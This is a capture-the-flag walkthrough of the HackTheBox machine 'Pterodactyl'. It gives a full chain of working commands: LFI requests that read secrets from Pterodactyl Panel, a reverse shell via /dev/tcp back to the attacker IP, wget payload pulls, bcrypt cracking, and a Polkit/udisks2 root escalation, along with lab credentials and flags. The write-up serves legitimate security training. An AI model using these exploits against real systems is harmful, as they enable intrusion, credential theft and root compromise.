HackTheBox — Pterodactyl
HackTheBox — Pterodactyl Machine Writeup
Difficulty: Medium | OS: Linux (openSUSE)
Table of Contents
- Machine Overview
- Credentials & Flags Cheatsheet
- Phase 1 — Reconnaissance
- Phase 2 — Enumeration
- Phase 3 — Vulnerability Discovery (CVE-2025-49132)
- Phase 4 — LFI Exploitation (Extracting Secrets)
- Phase 5 — Remote Code Execution
- Phase 6 — Post-Exploitation (DB Access & Hash Cracking)
- Phase 7 — Stable SSH Access & User Flag
- Phase 8 — Privilege Escalation (CVE-2025-6018 + CVE-2025-6019)
- Phase 9 — Root Flag
- Lessons Learned & Key Takeaways
- Full Attack Chain Diagram
Machine Overview
| Field | Value |
|---|---|
| Machine Name | Pterodactyl |
| IP Address | 10.129.4.246 |
| OS | Linux (openSUSE) |
| Difficulty | Medium |
| Attack Machine IP | 10.10.15.1 (tun0) |
| Key CVEs | CVE-2025-49132, CVE-2025-6018, CVE-2025-6019 |
Summary: Pterodactyl is a medium-difficulty Linux box running the Pterodactyl Panel game server management software. The attack chain involves an unauthenticated Local File Inclusion (LFI) vulnerability to extract database credentials and an application key, which is leveraged to gain Remote Code Execution (RCE). From there, we extract bcrypt password hashes from MariaDB, crack them, and SSH in as a user. Privilege escalation chains two CVEs targeting the PAM/Polkit authentication bypass and a udisks2 TOCTOU race condition to achieve root.
Credentials & Flags Cheatsheet
| Type | Value |
|---|---|
| User Flag | 49225500f***********a337b753 |
| Root Flag | (captured from /root/root.txt) |
| DB Username | pterodactyl |
| DB Password | PteraPanel |
| DB Name | panel |
| DB Host | 127.0.0.1:3306 |
| APP_KEY | base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY= |
| Panel User | phileasfogg3@pterodactyl.htb |
| Panel Password (cracked) | !QAZ2wsx |
| SSH User | phileasfogg3 |
| SSH Password | !QAZ2wsx |
Phase 1 — Reconnaissance
Nmap Scan
nmap -sC -sV -oA target 10.129.4.246
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6
80/tcp open http nginx 1.21.5
443/tcp closed https
8080/tcp closed http-alt
Key observations:
- Port 80 HTTP with nginx 1.21.5 — redirects to
http://pterodactyl.htb/ - Port 22 SSH — useful later for stable access
Hosts File Setup
sudo nano /etc/hosts
# Add:
10.129.4.246 pterodactyl.htb
10.129.4.246 panel.pterodactyl.htb
10.129.4.246 play.pterodactyl.htb
Phase 2 — Enumeration
Web Directory Bruteforcing
gobuster dir -u http://pterodactyl.htb -w /usr/share/wordlists/dirb/common.txt
Interesting findings:
/phpinfo.php— Status 200, PHP 8.4.8 exposed/changelog— Revealed critical system details
Changelog Discovery
Visiting http://pterodactyl.htb/changelog revealed:
- Pterodactyl Panel v1.11.10 installed
- MariaDB 11.8.3 backend
- PHP-FPM enabled
- PHP-PEAR installed ← critical for exploitation
- Subdomain:
play.pterodactyl.htbconfigured
phpinfo.php Analysis
Browsing to http://pterodactyl.htb/phpinfo.php revealed critical PHP configuration:
| Setting | Value |
|---|---|
| PHP Version | 8.4.8 |
| disable_functions | no value (unrestricted!) |
| open_basedir | no value (no directory restrictions!) |
| allow_url_fopen | On |
| allow_url_include | Off |
| include_path | .:/usr/share/php8:/usr/share/php/PEAR |
| Server User | wwwrun |
| DOCUMENT_ROOT | /var/www/html |
Key Insight:
disable_functionsbeing empty means full RCE is possible if we can get code execution. The PEAR path/usr/share/php/PEARis critical for the pearcmd exploit technique.
Subdomain Fuzzing
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" \
-fs [default_size]
Found: panel.pterodactyl.htb → Status 200, Pterodactyl Panel login page
Phase 3 — Vulnerability Discovery (CVE-2025-49132)
What is CVE-2025-49132?
CVE-2025-49132 is an unauthenticated LFI to RCE vulnerability affecting Pterodactyl Panel ≤ 1.11.10.
Root Cause: The /locales/locale.json endpoint accepts locale and namespace parameters that are passed directly to PHP’s include() without sanitization or authentication. A hash parameter intended to prevent abuse is never enforced on unpatched versions.
The endpoint:
http://panel.pterodactyl.htb/locales/locale.json?locale=<PATH>&namespace=<FILE>
Behavior:
localeparameter = directory traversal pathnamespaceparameter = filename (.phpextension automatically appended)- Result:
include($locale . '/' . $namespace . '.php')
Testing LFI:
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl&namespace=config/app"
Confirming traversal depth (7 levels):
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/database"
When this returns JSON data instead of [], we know the path is correct.
Phase 4 — LFI Exploitation (Extracting Secrets)
Extracting Database Credentials
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/database" | jq
Result:
{
"config/database": {
"connections": {
"mysql": {
"host": "127.0.0.1",
"port": "3306",
"database": "panel",
"username": "pterodactyl",
"password": "PteraPanel"
}
},
"redis": {
"host": "127.0.0.1",
"port": "6379",
"password": null,
"database": "0"
}
}
}
Found:
pterodactyl:PteraPanel@127.0.0.1:3306/panel
Extracting APP_KEY
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/app" | jq
Result:
{
"config/app": {
"name": "Pterodactyl",
"version": "1.11.10",
"environment": "production",
"cipher": "AES-256-CBC",
"APP_KEY": "base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY="
}
}
Found:
APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
Additional Config Reads
# Session config (reveals Redis driver, encryption settings)
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/session" | jq
# Auth config (reveals lockout settings)
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/auth" | jq
# Pterodactyl-specific config
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/pterodactyl" | jq
Session config revealed:
- Driver:
redis - Encryption: enabled (
encrypt: 1) - Cookie name:
pterodactyl_session
Pterodactyl config revealed:
author_email: pterodactyl@pterodactyl.htb2fa_required: 0
Note: Files like
/etc/passwd,user.txt, etc. could NOT be read directly because the LFI automatically appends.php— it can only include PHP files.
Phase 5 — Remote Code Execution
Why Pearcmd Failed Manually
We spent considerable time trying to manually exploit pearcmd via crafted curl commands. The core issue was that special characters (<, >, ?) in <?php ?> tags were being URL-decoded and breaking argument parsing.
The key lesson: requests library and manual curl silently URL-encode characters that break PHP tags. The PoC tool solves this with curl -g (globoff) and hex-encoding the command (hex2bin()).
The Winning Approach — CVE-2025-49132 PoC
# Clone the improved PoC
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132
The PoC’s key innovations over manual attempts:
- Uses
curl -g(disables glob parsing) via subprocess — bypasses Python URL encoding - Hex-encodes the command (
system(hex2bin('...'))) — no special chars, works with any command including reverse shells with>&and/dev/tcp/ - Dynamically supports
--pear-dirfor non-standard PEAR paths
Setting Up the Reverse Shell
Terminal 1 — Netcat listener:
nc -lvnp 4444
Terminal 2 — Create reverse shell script:
echo 'sh -i >& /dev/tcp/10.10.15.1/4444 0>&1' > shell.sh
Terminal 3 — HTTP staging server:
python3 -m http.server 8080
Terminal 4 — Fire the exploit:
cd CVE-2025-49132
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "/bin/bash -i >& /dev/tcp/10.10.15.1/4444 0>&1" \
--pear-dir /usr/share/php/PEAR
Critical detail: The
--pear-dir /usr/share/php/PEARflag is required because this is an openSUSE system. Most PoCs hardcode/usr/share/php(Debian/Ubuntu path) which fails on openSUSE.
Shell received:
connect to [10.10.15.1] from (UNKNOWN) [10.129.4.246] 48846
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public>
Shell obtained as
wwwrun
Phase 6 — Post-Exploitation (DB Access & Hash Cracking)
Querying MariaDB Internally
From the wwwrun shell:
mysql -h 127.0.0.1 -u pterodactyl -pPteraPanel panel -e "SELECT email,password FROM users;"
Result:
+------------------------------+--------------------------------------------------------------+
| email | password |
+------------------------------+--------------------------------------------------------------+
| headmonitor@pterodactyl.htb | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3@pterodactyl.htb | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+------------------------------+--------------------------------------------------------------+
Two accounts found:
headmonitor— System administratorphileasfogg3— Regular user
Cracking the Hashes
# Save hashes to file
cat > hashes.txt << 'EOF'
$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
EOF
# Crack with hashcat (bcrypt = mode 3200)
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --force
Result:
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx
Cracked:
phileasfogg3→!QAZ2wsxNote:
headmonitor’s hash did not crack from rockyou.txt — it’s a stronger password.
Phase 7 — Stable SSH Access & User Flag
SSH Login
ssh phileasfogg3@10.129.4.246
# Password: !QAZ2wsx
Output:
Have a lot of fun...
Last login: Mon Feb 23 20:11:19 2026 from 10.10.15.1
phileasfogg3@pterodactyl:~>
User Flag
phileasfogg3@pterodactyl:~> cat user.txt
49225500f6377f737a31d8dca337b753
Initial Enumeration as phileasfogg3
# Check sudo permissions
phileasfogg3@pterodactyl:~> sudo -l
# Result: (ALL) ALL — full sudo but requires password
# Check mail — IMPORTANT CLUE!
phileasfogg3@pterodactyl:~> cat /var/mail/phileasfogg3
Mail from headmonitor:
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Attention all users,
Unusual activity has been observed from the udisks daemon (udisksd).
No confirmed compromise at this time, but increased vigilance is required.
Do not connect untrusted external media. Review your sessions for suspicious activity.
The mail is the hint! It points directly to
udisksas the privilege escalation vector.
Phase 8 — Privilege Escalation (CVE-2025-6018 + CVE-2025-6019)
Understanding the Vulnerability Chain
CVE-2025-6018 (The Bypass):
- A misconfiguration in PAM/Polkit allows SSH sessions to be flagged as
Active=yes - By setting specific environment variables in
~/.pam_environment, we tricksystemd-logindand Polkit into believing our SSH session is a physical console session - This bypasses password requirements for hardware management tools like
udisks2
CVE-2025-6019 (The Weapon):
libblockdev(used byudisks2) fails to apply thenosuidsecurity flag when temporarily mounting a filesystem during maintenance operations- A malicious XFS image with a SUID root shell binary is mounted temporarily without
nosuid - A C program (“catcher”) monitors
/proc/mountsin real-time and executes the SUID payload the moment the window appears
Step 1: Download the Combined PoC (Attacker Machine)
cd ~/Pterodactyl
git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC
cd CVE-2025-6018-6019-PoC
Step 2: Install Dependencies & Build (Attacker Machine)
# Install xfsprogs (required for mkfs.xfs to create XFS image)
sudo apt update
sudo apt install xfsprogs gcc -y
# Build the payload
chmod +x build_poc.sh
./build_poc.sh
Output:
[*] Building CVE-2025-6018/6019 PoC...
[+] Compiled static rootbash.
[+] Created XFS image.
[+] Injected SUID shell into image.
[+] Compiled static catcher.
[SUCCESS] Upload 'exploit.img' and 'catcher' to the target /tmp folder.
Files created:
exploit.img— 400MB XFS filesystem image with SUID root shell injectedcatcher— Compiled C binary that wins the race condition
Step 3: Apply CVE-2025-6018 Bypass (Target Machine)
# Set environment variables to trick Polkit into thinking we're a local session
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
Log out and SSH back in, then verify:
loginctl show-session $XDG_SESSION_ID | grep Active
# Must show: Active=yes
Active=yesconfirmed — Polkit bypass successful
Step 4: Transfer Payload Files (Attacker Machine)
# Start HTTP server
python3 -m http.server 87
On target:
cd /tmp
wget http://10.10.15.1:87/exploit.img # 400MB XFS image
wget http://10.10.15.1:87/catcher # Race condition catcher
wget http://10.10.15.1:87/exploit.sh # Exploit orchestrator
chmod +x catcher exploit.sh
Step 5: Fire the Exploit (Target Machine)
phileasfogg3@pterodactyl:/tmp> ./exploit.sh
Output:
[+] Session is Active. Polkit bypass enabled.
[*] Starting Background Trigger (Wait 2s)...
[*] Starting Foreground Catcher...
[*] HOLD TIGHT. ROOT SHELL INCOMING.
[*] Sniper started. Waiting for ANY loop mount...
[*] (BG) Setting up loop device...
[*] (BG) Triggering Resize on /org/freedesktop/UDisks2/block_devices/loop1...
[!!!] HIT! Mounted at: /tmp/blockdev.EX78K3
pterodactyl:/tmp #
Verify root:
pterodactyl:/tmp # id
uid=0(root) gid=0(root) groups=0(root),100(users)
ROOT SHELL OBTAINED!
Phase 9 — Root Flag
pterodactyl:/tmp # cd /root
pterodactyl:/root # ls
.bash_history bin .config inst-sys .local .ssh
.bashrc .cache .gnupg .lesshst root.txt
pterodactyl:/root # cat root.txt
Root flag captured!
Lessons Learned & Key Takeaways
1. Distribution Matters for PEAR Path
The PEAR path varies by Linux distribution:
| Distribution | PEAR Path |
|---|---|
| Debian / Ubuntu | /usr/share/php |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 |
| RHEL / Rocky | /usr/share/pear |
This machine runs openSUSE — always check phpinfo.php for include_path to confirm.
2. Check /var/mail for Hints
The mail hint pointing to udisksd activity was the key to finding the privilege escalation vector. Always enumerate:
ls /var/mail/
cat /var/mail/$USER
3. LFI Only Works on PHP Files
The LFI in CVE-2025-49132 automatically appends .php. This means:
- Can read:
config/database.php,config/app.php,.env.php - Cannot read:
/etc/passwd,user.txt, SSH keys, regular files
4. CVE-2025-6018 Must Come Before CVE-2025-6019
The Active=yes session status is a prerequisite for CVE-2025-6019. Without the PAM bypass:
udisksctl loop-setupprompts for root password- The exploit fails immediately
The fix is simple: add two lines to ~/.pam_environment and re-login.
5. Race Conditions Need Compiled Binaries
Bash loops are too slow to win the TOCTOU race in CVE-2025-6019. The C catcher binary monitors /proc/mounts with microsecond precision. Always use compiled tools for race conditions.
Full Attack Chain Diagram
[Attacker]
│
├─ 1. RECON ──────────────────────────────────────────────────────────────
│ nmap → Port 80 (nginx), Port 22 (SSH)
│ gobuster → /phpinfo.php, /changelog
│ ffuf → panel.pterodactyl.htb
│
├─ 2. DISCOVERY ──────────────────────────────────────────────────────────
│ /changelog → Pterodactyl v1.11.10, PHP-PEAR installed
│ /phpinfo.php → PHP 8.4.8, PEAR at /usr/share/php/PEAR,
│ disable_functions=empty, open_basedir=empty
│
├─ 3. LFI (CVE-2025-49132) ───────────────────────────────────────────────
│ /locales/locale.json?locale=../../../../../../../var/www/pterodactyl
│ &namespace=config/database
│ → DB: pterodactyl:PteraPanel@127.0.0.1:3306/panel
│
│ /locales/locale.json?locale=...&namespace=config/app
│ → APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
│
├─ 4. RCE (pearcmd + hex2bin) ────────────────────────────────────────────
│ python3 exploit.py http://panel.pterodactyl.htb
│ --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.15.1/4444 0>&1"
│ --pear-dir /usr/share/php/PEAR
│ → Shell as wwwrun
│
├─ 5. DB QUERY ───────────────────────────────────────────────────────────
│ mysql -h 127.0.0.1 -u pterodactyl -pPteraPanel panel
│ -e "SELECT email,password FROM users;"
│ → phileasfogg3: $2y$10$PwO0TBZA8hLB...
│ → headmonitor: $2y$10$3WJht3/5GOQ...
│
├─ 6. HASH CRACK ─────────────────────────────────────────────────────────
│ hashcat -m 3200 hashes.txt rockyou.txt
│ → phileasfogg3: !QAZ2wsx
│
├─ 7. SSH + USER FLAG ────────────────────────────────────────────────────
│ ssh phileasfogg3@10.129.4.246 (password: !QAZ2wsx)
│ cat ~/user.txt → 49225500f6377f737a31d8dca337b753
│
├─ 8. PRIVESC PREP (CVE-2025-6018) ───────────────────────────────────────
│ echo "XDG_SEAT=seat0" > ~/.pam_environment
│ echo "XDG_VTNR=1" >> ~/.pam_environment
│ [re-login]
│ loginctl show-session $XDG_SESSION_ID | grep Active → Active=yes
│
├─ 9. PRIVESC (CVE-2025-6019) ────────────────────────────────────────────
│ [attacker] build_poc.sh → exploit.img + catcher
│ [target] wget exploit.img catcher exploit.sh
│ [target] ./exploit.sh
│ → TOCTOU race won → SUID shell executed
│ → uid=0(root)
│
└─ 10. ROOT FLAG ─────────────────────────────────────────────────────────
cat /root/root.txt → ROOTED
Commands Quick Reference
LFI Reading
# Template
curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../../../var/www/pterodactyl&namespace=config/FILE" | jq
# Files that worked:
# config/database → DB creds
# config/app → APP_KEY, version
# config/session → Session driver, cookie settings
# config/auth → Lockout settings
# config/mail → SMTP config
# config/pterodactyl → Panel-specific settings
RCE
python3 exploit.py http://panel.pterodactyl.htb \
--rce-cmd "COMMAND" \
--pear-dir /usr/share/php/PEAR
Hash Cracking
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --force
Privilege Escalation
# Step 1: Bypass Polkit (then re-login)
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
# Step 2: Verify bypass worked
loginctl show-session $XDG_SESSION_ID | grep Active
# Step 3: Run exploit
./exploit.sh
Happy hacking! — ogdmerlin